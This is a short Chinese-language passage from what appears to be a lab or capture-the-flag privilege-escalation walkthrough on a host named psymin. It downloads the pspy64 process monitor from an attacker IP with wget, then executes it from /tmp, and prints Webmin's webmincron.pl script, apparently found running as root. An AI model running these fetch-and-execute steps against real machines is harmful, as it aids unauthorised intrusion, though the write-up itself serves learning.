尝试上传 pspy64 进行监听：

alfred@psymin:~$ cd /tmp
alfred@psymin:/tmp$ wget http://192.168.10.102:8888/lpspy64
alfred@psymin:/tmp$ chmod +x lpspy64 
alfred@psymin:/tmp$ ./lpspy64

发现 root 在执行某个进程，看一下：

alfred@psymin:/tmp$ cat /usr/share/webmin/webmincron/webmincron.pl
#!/usr/bin/perl
# Wrapper to run a single function via webmin cron
 
$main::no_acl_check = 1;
$main::no_referers_check = 1;
$main::webmin_script_type = 'cron';
do './webmincron-lib.pl';
$cron = $ARGV[0];
 
# Build list of args
my @args;
for(my $i=0; defined($cron->{'arg'.$i}); $i++) {
        push(@args, $cron->{'arg'.$i});
        }
 
# Force webmin script type to be cron
$main::webmin_script_type = 'cron';
$main::webmin_script_webmincron = $cron->{'module'}."::".$cron->{'func'};
 
# Require the module, call the function
eval {
        local $main::error_must_die = 1;
        &foreign_require($cron->{'module'}, $cron->{'file'});
        &foreign_call($cron->{'module'}, $cron->{'func'}, @args);
        };
$log = { %$cron };
if ($@) {
        $log->{'error'} = $@;
        }
 
# Log it, if enabled
if ($gconfig{'logsched'}) {
        &webmin_log("run", "webmincron", $cron->{'id'}, $log);
        }
